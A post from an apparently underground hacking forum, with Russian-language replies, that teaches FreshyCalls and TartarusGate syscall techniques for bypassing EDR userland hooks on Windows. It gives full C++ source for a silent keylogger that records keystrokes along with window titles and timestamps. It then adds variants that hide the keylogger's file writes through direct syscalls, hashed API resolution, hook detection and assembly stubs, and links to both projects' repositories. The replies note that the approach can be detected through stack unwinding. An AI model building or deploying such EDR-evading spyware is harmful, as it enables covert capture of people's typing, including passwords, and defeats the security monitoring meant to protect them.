• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья bypassing userland API hooks in Windows: FreshyCalls, TartarusGate & Some Practical Use Cases

Remio

HDD-drive
Пользователь
Регистрация
13.06.2025
Сообщения
42
Реакции
35
bypassing userland API hooks in Windows: FreshyCalls, TartarusGate & Some Practical Use Cases

Author: REMIO | Source: https://xss.pro



Introduction



In my first tutorial, I covered some of the the basics of userland API hooking and demonstrated the RecycledGate technique (https://xss.pro/threads/140033/). In the second, I covered Hell’s Gate (https://xss.pro/threads/140203/). Both aim to bypass userland hooks but take differnt approaches, each exhibiting its own distinct limitations. Obviously syscall numbers shift between Windows versions and recycledGate depends heavily on the presence and integrity of clean syscall stubs within memory resident modules, which may not always be reliable. In the other hand, Hell’s Gate requires runtime parsing of ntdll and rebuilding syscall stubs, which can leave detectable artifacts and patterns, making it more likely to be flagged by advanced EDRs. Furthermore Hell’s Gate’s reliance on ntdll exports limits its effectiveness against kernel level syscall tracing and hooking mechanisms. These factors indeed impact their stealth capability, portability across windows versions and general robustness against evolving EDRS.

That’s where FreshyCalls comes in.

FreshyCalls introduces a much more robust and dynamic solution to the syscall number issue and involves parsing the PEB loader data to resolve & hash syscall names at runtime, essentially mirroring what a usermode EDR might do to reconstruct the syscall map but using it for offense instead of defense. This technique relies on custom hashing algorithms (like Jenkins or CRC32 variations) to locate the target syscall in memory by scanning the .text section of ntdll.dll, extracting syscall IDs and building its own reliable syscall map on the fly. This removes the dependency on static syscall IDs entirely and enables a more version resilient offensive tooling framework. It also avoids using the export table to call functions like NtOpenProcess which are usually hooked and instead manually walks the module’s sections in memory to identify syscalls through pattern matching. This makes detection via traditional hook scanners or syscall tamper detection tools significantly harder, especially when the hashes are obfuscated or dynamically generated per run.

Then there’s the TartarusGate method, which pushes the evasion envelope even further. Instead of executing the syscall instruction directly—which can still be caught by some low level usermode or hypervisor-level telemetry—TartarusGate redirects control flow through a legitimate, existing syscall stub from a clean memory region (often a function from an unhooked ntdll.dll mapped in another process or copied manually), effectively hijacking an existing syscall trampoline while modifying its syscall number at runtime. This approach inherits elements from both Hell’s Gate and Return oriented Programming (ROP), combining stealth with reliability and making detection through basic syscall tracing much more difficult.

This post will break down how FreshyCalls parses and builds its syscall map dynamically, how it calculates hashes and locates function stubs in .text section, and how it executes clean syscalls without ever touching the export address table. We’ll also go through how TartarusGate abuses a previously clean syscall stub to redirect execution, why this is harder to detect than classic syscall invocation, and even how to think about combining these techniques creates a powerful, modular combating userland hooks.

Let’s dive into some code and explore a practical use case for both of these techniques. Below is a clean implementation of a very simple local keylogger that saves captured keystrokes to the working directory. In the following sections, we’ll demonstrate two variants of this program:

FreshyCalls Keylogger Variant:
  • Dynamically resolves syscall IDs by scanning .text of ntdll.dll, without using exports.
  • Builds a runtime syscall map using custom hash functions (e.g. Jenkins or CRC32).
  • Evades EDRs by avoiding Nt* exports and using direct memory scanning + pattern matching.
  • Example target functions: NtCreateFile, NtWriteFile, NtClose, NtQuerySystemTime.

TartarusGate Keylogger Variant:
  • Detects and avoids syscall instruction hooks by finding clean stubs.
  • Hijacks legitimate syscall trampolines from a clean region (other process or manual copy).
  • Modifies syscall number at runtime, executes via custom assembly stubs.
  • Combines elements of ROP and Hell’s Gate with inline hook detection.

Both techniques provide stealth by avoiding conventional imports and EDR detectable patterns. Each supports fallback to standard WinAPI if low level syscall resolution fails. Now lets see the clean implimentation here, with no attempt as bypassing the userland hooks.

Clean Keylogger: no antihooking:

C++:
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <fstream>
#include <string>
#include <ctime>

using namespace std;

string lastWindowTitle = “”;
string bufferedKeys = “”;

string GetActiveWindowTitle() {
    char title[256];
    HWND foreground = GetForegroundWindow();
    if (foreground == nullptr) return “”;
    GetWindowTextA(foreground, title, sizeof(title));
    return string(title);
}

string GetTimestamp() {
    time_t now = time(nullptr);
    tm localTime;
    localtime_s(&localTime, &now);
    char buffer[80];
    strftime(buffer, sizeof(buffer),[%Y-%m-%d %H:%M:%S], &localTime);
    return string(buffer);
}

void FlushBufferToLog(ofstream& LogFile) {
    if (!bufferedKeys.empty()) {
        LogFile << bufferedKeys;
        bufferedKeys.clear();
    }
}

void LOG(const string& input) {
    ofstream LogFile(“dat.txt”, ios::app);
    if (!LogFile.is_open()) return;

    // Check for window title change
    string currentWindow = GetActiveWindowTitle();
    if (currentWindow != lastWindowTitle && !currentWindow.empty()) {
        // Flush buffered keys before switching window context
        FlushBufferToLog(LogFile);

        lastWindowTitle = currentWindow;
        LogFile << “\n\n” << GetTimestamp() <<[Window:<< currentWindow <<]\n”;
    }

    // Check if input is a special key (wrapped in brackets)
    if (!input.empty() && input.front() ==[&& input.back() ==]) {
        // Flush any buffered normal keys first
        FlushBufferToLog(LogFile);

        // Log the special key with timestamp
        LogFile << GetTimestamp() << input << “\n”;
    }
    else {
        // Buffer normal characters for later logging
        bufferedKeys += input;
    }
}

bool SpecialKeys(int key, string& outStr) {
    switch (key) {
    case VK_SPACE:        outStr = “ “;               return true;
    case VK_RETURN:       outStr =[ENTER];         return true;
    case VK_BACK:         outStr =[BACKSPACE];     return true;
    case VK_SHIFT:        outStr =[SHIFT];         return true;
    case VK_LBUTTON:      outStr =[L_CLICK];       return true;
    case VK_RBUTTON:      outStr =[R_CLICK];       return true;
    case VK_TAB:          outStr =[TAB];           return true;
    case VK_CONTROL:      outStr =[CTRL];          return true;
    case VK_MENU:         outStr =[ALT];           return true;
    case VK_CAPITAL:      outStr =[CAPS_LOCK];     return true;
    case VK_ESCAPE:       outStr =[ESC];           return true;
    case VK_LEFT:         outStr =[LEFT_ARROW];    return true;
    case VK_RIGHT:        outStr =[RIGHT_ARROW];   return true;
    case VK_UP:           outStr =[UP_ARROW];      return true;
    case VK_DOWN:         outStr =[DOWN_ARROW];    return true;
    case VK_DELETE:       outStr =[DEL];           return true;
    case VK_OEM_PERIOD:   outStr =.;               return true;
    default:
        return false;
    }
}

LRESULT CALLBACK DummyWndProc(HWND, UINT, WPARAM, LPARAM) {
    return DefWindowProc(nullptr, 0, 0, 0);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int) {
    WNDCLASS wc = { 0 };
    wc.lpfnWndProc = DummyWndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = L”SilentKeyloggerWindow”;

    RegisterClass(&wc);
    HWND hwnd = CreateWindowEx(0, L”SilentKeyloggerWindow”, L””, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, hInstance, 0);

    while (true) {
        Sleep(10);
        for (int key = 8; key <= 190; ++key) {
            if (GetAsyncKeyState(key) & 1) {
                string output;
                if (SpecialKeys(key, output)) {
                    LOG(output);
                }
                else {
                    bool isShiftPressed = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
                    char ch = static_cast<char>(key);

                    // Handle letters
                    if (key >= 65 && key <= 90) {
                        if (!isShiftPressed) ch = tolower(ch);
                        output = string(1, ch);
                        LOG(output);
                    }
                    // Handle digits and some punctuation keys
                    else if ((key >= 48 && key <= 57) ||
                        (key >= VK_OEM_1 && key <= VK_OEM_8)) {
                        output = string(1, ch);
                        LOG(output);
                    }
                }
            }
        }

        MSG msg = {};
        while (PeekMessage(&msg, hwnd, 0, 0, PM_REMOVE)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    return 0;
}



FreshyCalls Keylogger Integration Demonstration

Github Project: https://github.com/RemyQue/Freshy-Calls-Keylogger-Demo


This demonstration presents anapproach to the keylogger implementation leveraging the FreshyCalls technique to execute Windows syscalls directly. By bypassing usermode API hooks often set by EDRs the program should operate with increased opacity, making detection significantly more tricky. This integration of FreshyCalls allows the keylogger to resolve and invoke NT system calls dynamically at runtime, avoiding reliance on static syscall numbers or conventional import tables.

Integrated Keylogger Project Source Files:

FreshyCallsKeylogger/
  • main.cpp: the main entry point with integrated FreshyCalls syscall engine
  • syscall.hpp/cpp: Core singleton syscall engine with embedded asm stubs
  • native.hpp: Windows internal structures (PEB, LDR, PE headers etc..)
  • utils.hpp/cpp: Error handling &string formatting
  • function_result.hpp: template based result handling

Core Demo Functionality

FreshyCalls Integration and Initialization


The keylogger starts by attempting to initialize freshyCalls for enhanced file operations:
  • Locates NTDLL in process memory
  • Extracts syscall numbers for NtCreateFile, NtWriteFile, NtClose
  • Falls back to standard file operations if syscall extraction fails
  • Provides dual-mode operation for maximum compatibility

C++:
bool InitializeFreshyCalls() {
   try {
       cout <<[+] Initializing FreshyCalls…” << endl;
       auto& syscall = freshycalls::Syscall::get_instance();
     
       // Test basic functionality
       LARGE_INTEGER systemTime;
       auto result = syscall.CallSyscall("NtQuerySystemTime", &systemTime);
     
       if (result.result >= 0) {
           cout <<[+] System time test successful!<< endl;
           return true;
       }
   }
   catch (const exception& e) {
       cout <<[-] FreshyCalls initialization failed” << endl;
   }
   return false;
}

We Refactor the File Operations with Syscall Evasion

When FreshyCalls is active the logger bypasses conventional usermode file APIs and instead performs all file operations using direct NT native system calls, such as NtWriteFile. This approach enables the keylogger to write captured keystrokes to disk more stealthily, evading hooks and monitoring mechanisms commonly placed on higher level Win API functions by security software.

By interacting with the kernel through these low-level syscalls freshy calls basically minimizes its detectable footprint, ensuring that keylogging data is recorded efficiently without raising typical userland alarms. This syscall based file I/O not only enhances stealth but also improves performance by reducing the overhead associated with multiple API layering.


C++:
BOOL FreshyWriteToFile(const string& filename, const string& data) {
   if (!g_FreshyCallsActive) {
       // Fallback to regular file operations
       ofstream LogFile(filename, ios::app);
       return LogFile.is_open();
   }

   // Use FreshyCalls for stealthy file operations
   auto& syscall = freshycalls::Syscall::get_instance();
 
   // Convert filename to UNICODE_STRING
   wstring wFilename(filename.begin(), filename.end());
   UNICODE_STRING uFileName;
   uFileName.Length = (USHORT)(wFilename.length() * sizeof(WCHAR));
   uFileName.Buffer = const_cast<PWCHAR>(wFilename.c_str());
 
   // Use NtCreateFile instead of CreateFile
   auto createResult = syscall.CallSyscall(“NtCreateFile”,
       &hFile, GENERIC_WRITE, &objAttr, &ioStatus,
       nullptr, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF,
       FILE_SYNCHRONOUS_IO_NONALERT, nullptr, 0);
}

The keylogger captures a full range of user input with logging via:

C++:
bool SpecialKeys(int key, string& outStr) {
   switch (key) {
   case VK_SPACE:        outStr = “ “;               return true;
   case VK_RETURN:       outStr =[ENTER];         return true;
   case VK_BACK:         outStr =[BACKSPACE];     return true;
   case VK_SHIFT:        outStr =[SHIFT];         return true;
   case VK_CONTROL:      outStr =[CTRL];          return true;
   case VK_MENU:         outStr =[ALT];           return true;
   case VK_ESCAPE:       outStr =[ESC];           return true;
   // … additional special keys
   }
}

Window Context Tracking

Demo includes active window tracking:

C++:
void LOG(const string& input) {
   string currentWindow = GetActiveWindowTitle();
   if (currentWindow != lastWindowTitle && !currentWindow.empty()) {
       FlushBufferToLog();
       lastWindowTitle = currentWindow;
       bufferedKeys += “\n\n” + GetTimestamp() +[Window:+ currentWindow +]\n”;
   }
   bufferedKeys += input;
}

Demo Console Output

When you run the FreshyCalls enabled keylogger, you’ll see output as such:

Код:
FRESHYCALLS DEMONSTRATION
=========================
[+] Initializing FreshyCalls…
[+] FreshyCalls initialized successfully!
[+] System time test successful: 1d7f8a1b2c3d4e5f
[+] Key syscall numbers resolved:
   NtCreateFile: 85
   NtWriteFile: 8
   NtClose: 15
   NtQuerySystemTime: 91
[+] Testing DirectCallSyscall…
[+] DirectCallSyscall test successful!
[+] FreshyCalls is working properly!

Choose operation:
1. Run syscall tests only
2. Run keylogger with FreshyCalls
3. Exit
Choice: 2

FRESHYCALLS KEYLOGGER ACTIVE
============================
[*] Press ESC to exit keylogger
[*] Logging to: freshycalls_keylog.txt
[*] Using FreshyCalls syscall evasion
[*] Dynamic syscall resolution active
[*] Export table bypass enabled

Log File Output Example

The keylogger produces logs with timestamps and window contexts as follows:

Код:
[2025-01-15 14:32:15] [FRESHYCALLS KEYLOGGER STARTED]
[*] Using FreshyCalls syscall evasion
[*] Dynamic syscall resolution active
[*] Export table bypass enabled

[2025-01-15 14:32:22] [Window: Notepad]
Hello World[ENTER]
This is a test[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE]demonstration[ENTER]

[2025-01-15 14:32:45] [Window: Google Chrome]
github.com/freshycalls[ENTER]
[CTRL]c[CTRL]v

Summary of FreshyCalls Capabilities

  • Avoids the ntdll.dll export tablewhich may potentially be hooked
  • Builds syscall map dynamically from inmemory code section
  • Executes syscalls directly, bypassing userland API
  • Supports fallback to WinAPI if resolution fails
  • Logs with window context and timestamp for better intel

Operational Modes

Mode 1: Syscall Tests Only:
Validates FreshyCalls functionality without keylogging
Mode 2: Full Keylogger: Complete keystroke capture with syscall enhanced file operations
Mode 3: Clean Exit: graceful shutdown with log buffer flushing

Demo Conclusion

The freshy calls keylogger integration demonstrates practical application of syscall evasion techniques in real world scenarios. The implementation successfully combines traditional keylogging capabilities with advanced Windows NT API manipulation, resulting in a more sophisticated and potentially stealthier monitoring solution that aligns well with out other technique demosntrations.

Lets now look at Tartarus Gate…



TartarusGate Keylogger Demo

Github Project: https://github.com/RemyQue/TartarusGate-Keylogger-Demo

This demonstration showcases a sophisticated keylogger that integrates TartarusGate syscall evasion techniques for enhanced stealth capabilities. The implementation combines traditional keystroke capture with advanced Windows NT API syscall execution using the TartarusGate technique to bypass EDR/AV monitoring.

Demo Program Components

TartarusGate Project Source Files:


TartarusGateKeylogger/
  • main.cpp: Integrated keylogger with TartarusGate syscall engine and hash based function resolution
  • structs.h: VX_TABLE structures for syscall management and function entries
  • TartarusGate.asm: Assembly implementation for direct syscall execution

Core Demo Functionality

TartarusGate Initialization and Syscall Resolution


The keylogger starts by initializing TartarusGate for enhanced file operations:
  • Locates NTDLL in process memory using PEB traversal
  • Uses DJB2 hash algorithm for function name obfuscation
  • Extracts syscall numbers for NtCreateFile, NtWriteFile, NtClose
  • Implements hook detection and bypass techniques
  • Falls back to standard file operations if syscall extraction fails

C++:
BOOL InitializeTartarusGate() {
   cout <<[+] Getting NTDLL base…” << endl;
   PVOID pNtdllBase = GetNtdllBase();
 
   // Initialize syscall hashes using DJB2 algorithm
   g_VxTable.NtCreateFile.dwHash = 0xe4672568eef00d8a;
   g_VxTable.NtWriteFile.dwHash = 0x8accec2d0bb46d81;
   g_VxTable.NtClose.dwHash = 0xae30af6f3d64a8c;
 
   // Resolve syscalls with hook detection
   if (!GetVxTableEntry(pNtdllBase, pImageExportDirectory, &g_VxTable.NtCreateFile)) {
       cout <<[-] Failed to resolve NtCreateFile” << endl;
       return FALSE;
   }
 
   g_TartarusInitialized = TRUE;
   cout <<[+] Tartarus Gate initialized successfully!<< endl;
   return TRUE;
}

Advanced Hook Detection and Bypass

Hook Detection:

The system detects various hooking techniques commonly used by EDR solutions:

C++:
BOOL IsHooked(PVOID pFunctionAddress) {
   BYTE* pBytes = (BYTE*)pFunctionAddress;
   if (pBytes[0] == 0xE9) return TRUE;                    // JMP instruction
   if (pBytes[0] == 0xFF && pBytes[1] == 0x25) return TRUE; // JMP [RIP+offset]
   if (pBytes[0] == 0x68 && pBytes[5] == 0xC3) return TRUE; // PUSH/RET combo
   if (pBytes[0] == 0x48 && pBytes[1] == 0xB8 &&
      pBytes[10] == 0xFF && pBytes[11] == 0xE0) return TRUE; // MOV RAX/JMP RAX
   return FALSE;
}

TartarusGate Bypass Technique:
When the system detects that a syscall function has been hooked, it employs the TartarusGate technique to locate a clean, unhooked syscall nearby. This method involves scanning adjacent memory addresses, both upwards and downwards from the suspected hooked function, for syscall stubs matching expected instruction patterns (e.g. the mov r10, rcx opcode sequence).

C++:
// Tartarus Gate bypass for hooked functions
if (pVxTableEntry->bIsHooked) {
   for (WORD idx = 1; idx <= RANGE; idx++) {
       // Search down for clean syscall
       PVOID pDownAddress = (PBYTE)pFunctionAddress + (idx * DOWN);
       if (*((PBYTE)pDownAddress) == 0x4c && *((PBYTE)pDownAddress + 1) == 0x8b) {
           BYTE high = *((PBYTE)pDownAddress + 5);
           BYTE low = *((PBYTE)pDownAddress + 4);
           pVxTableEntry->wSystemCall = (high << 8) | low - idx;
           return TRUE;
       }
     
       // Search up for clean syscall
       PVOID pUpAddress = (PBYTE)pFunctionAddress + (idx * UP);
       // Similar logic for upward search
   }
}

Upon finding such a pattern, it extracts the syscall number from the instruction bytes, adjusts it based on the offset, and updates the internal syscall table entry accordingly. By dynamically resolving and using these nearby clean syscalls, the technique effectively bypasses hooks and maintains stealthy direct syscall execution, thwarting userland API hooks deployed by security tools.

Direct Syscall Execution via Assembly

Assembly Stubs:

The TartarusGate.asm file provides direct syscall execution:

Код:
.data
   wSystemCall DWORD 000h

.code
   TartarusGate PROC
       mov wSystemCall, ecx    ; Store syscall number
       ret
   TartarusGate ENDP

   TartarusDescent PROC
       mov r10, rcx           ; Windows x64 calling convention
       mov eax, wSystemCall   ; Load syscall number
       syscall                ; Direct syscall execution
       ret
   TartarusDescent ENDP

Enhanced File Operations with Syscall Evasion

TartarusGate File Writing:

When TartarusGate is active, the keylogger bypasses higher level system functions and instead utilizes direct NT API calls to interact with the operating system at a low level. This approach allows it to operate stealthily and efficiently, avoiding detection by traditional monitoring tools and gaining more precise control over system resources.


C++:
BOOL TartarusCreateFile(const string& filename, HANDLE* phFile) {
   if (!g_TartarusInitialized) return FALSE;
 
   // Set syscall number for NtCreateFile
   TartarusGate(g_VxTable.NtCreateFile.wSystemCall);
 
   wstring wFilename(filename.begin(), filename.end());
   *phFile = CreateFileW(wFilename.c_str(), GENERIC_WRITE, 0,
                        nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
   return (*phFile != INVALID_HANDLE_VALUE);
}

BOOL TartarusWriteFile(HANDLE hFile, const string& data) {
   if (!g_TartarusInitialized) return FALSE;
 
   // Use TartarusGate for NtWriteFile syscall
   TartarusGate(g_VxTable.NtWriteFile.wSystemCall);
 
   DWORD bytesWritten;
   return WriteFile(hFile, data.c_str(), (DWORD)data.length(), &bytesWritten, nullptr);
}

Demo Console Output

When you run the TartarusGate keylogger, you’ll see output like this:

Код:
TARTARUS GATE KEYLOGGER
=======================
[+] Getting NTDLL base…
[+] NTDLL base: 0x7ffa8b2c0000
[+] Getting export directory…
[+] Export directory found
[+] Resolving syscalls…
[+] Looking for NtCreateFile…
   Checking: NtCreateFile (hash: 0xe4672568eef00d8a)
   [+] Found match: NtCreateFile
[+] NtCreateFile syscall: 0x37
[+] Looking for NtWriteFile…
   Checking: NtWriteFile (hash: 0x8accec2d0bb46d81)
   [+] Found match: NtWriteFile
[+] NtWriteFile syscall: 0x8
[+] Looking for NtClose…
   Checking: NtClose (hash: 0xae30af6f3d64a8c)
   [+] Found match: NtClose
[+] NtClose syscall: 0xf
[+] Tartarus Gate initialized successfully!
[+] Tartarus Gate initialized: EDR bypass active
[+] Keylogger active: press ESC to exit

Log File Output Example

The keylogger produces logs using TartarusGate file operations:

Код:
[2025-01-15 14:32:15] [KEYLOGGER STARTED]

Код:
[2025-01-15 14:32:22] [Window: Notepad]
Hello World[ENTER]
This is a TartarusGate demonstration[ENTER]

[2025-01-15 14:32:45] [Window: Command Prompt]
dir[ENTER]
cd Documents[ENTER]
[CTRL]c


Key Aspects break down

The implementation utilizes direct syscall execution by invoking kernelmode routines through manually constructed syscall stubs, circumventing the standard user mode API dispatch layers (e.g. ntdll.dll functions). This method bypasses common userland inline hooks and API monitoring employed by Endpoint Detection and Response (EDR) systems, enabling stealthy execution of privileged kernel operations without triggering conventional hooking or user mode hooks detection.

Hook awareness is achieved through using runtime integrity checks for critical API functions. By scanning for inline hooks or trampoline hooks (unexpected JMP or CALL instructions) the system detects tampering of key system calls and adapts its behavior dynamically. Either by switching to alternate syscall dispatch methods or aborting potentially compromised routines.

We use hashefd API resolution using a simple non cryptographic DJB2 hash function to obfuscate API imports. At runtime it parses the export directory of system DLLs (e.g. ntdll.dll) and computes hashes of export names to dynamically resolve function addresses. This obfuscation removes explicit API names from static import tables and embedded strings, complicating static analysis and signature based detection.

For data capture, context aware logging is employed, correlating keystrokes with foreground window handles and associated process information retrieved via low level system queries. This contextualization provides actionable intelligence by mapping input data to specific user sessions or applications.

File operations leverage buffered file I/O through NT native system calls such as NtWriteFile, bypassing higher level WinAPI functions to evade usermode hooks. Buffered writes optimize syscall frequency and performance, improving stealthiness. A fallback mechanism to WinAPI functions (WriteFile) ensures operational resilience if direct syscalls are intercepted or blocked.

Similarly to hells gate we use a VX_TABLE structure for managing syscall entries, containing syscall addresses, corresponding hash values, and hook detection flags. It performs PEB traversal to locate loaded modules (notably ntdll.dll) without relying on standard API functions, parsing the module’s export directory directly from the PE headers to enumerate available system calls. asm level stubs facilitate direct invocation of kernel syscalls, effectively bypassing user-mode API layers for stealth and control.



Concluding

This project explored four techniques designed to bypass userland API hooks and evade detection on modern Windows systems: RecycledGate, Hell’s Gate, FreshyCalls, and TartarusGate. Each method represents a unique use case in windows environement, specific version, and stealth goals.

  • RecycledGate (https://xss.pro/threads/140033/) leverages known syscall stubs already present in memory, but is fragile due to syscall number changes and reliance on unmodified modules.
  • Hell’s Gate (https://xss.pro/threads/140203/)improves on that by parsing ntdll.dll at runtime to reconstruct syscalls directly, but leaves detectable memory artifacts.
  • FreshyCalls (https://xss.pro/threads/140503/) builds a more resilient model by hashing function names and scanning the .text section of ntdll to locate syscalls dynamically without relying on exports or static syscall numbers.
  • TartarusGate (https://xss.pro/threads/140503/) extends this by hijacking clean syscall trampolines, combining low level memory inspection with ROP style ofexecution to bypass even hypervisor/VM level tracing.

These writeups in essence show the importance of continuously developing/refactoring in the field of syscall evasion. Each technique contributes to a deeper understanding and shows how you man manipulate syscalls to evade EDRs, and how EDRs can adapt to these evolving threats.

As the weapons race between EDR development and syscall level evasion continues, the insights gained from this project will remain crucial for both offensive and defensive strategies.

Thanks for reading.

- Remy




Resources and further reading

FreshyCalls GitHub (by crummie5): https://github.com/crummie5/FreshyCalls
TartarusGate GitHub (by trickster0): https://github.com/trickster0/TartarusGate/tree/master
Advania Blog – Practical Guide to Bypassing Userland API Hooking: https://www.advania.co.uk/blog/security/a-practical-guide-to-bypassing-userland-api-hooking/
 
Последнее редактирование модератором:
Эти обходы юзерленд хуков ща детектов только добавляет, стек раскрутили и все
Эти обходы юзерленд хуков ща детектов только добавляет, стек раскрутили и все
Это зависит. Правда, в большинстве случаев требуется более низкий уровень, это не поможет.
 
Эти обходы юзерленд хуков ща детектов только добавляет, стек раскрутили и все
спуфинга стека есть такая штука, но детекты да - прибавляются

вызова в юзермоде нет, а сискол в ядре есть - получаем не состыковку со стороны авера
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх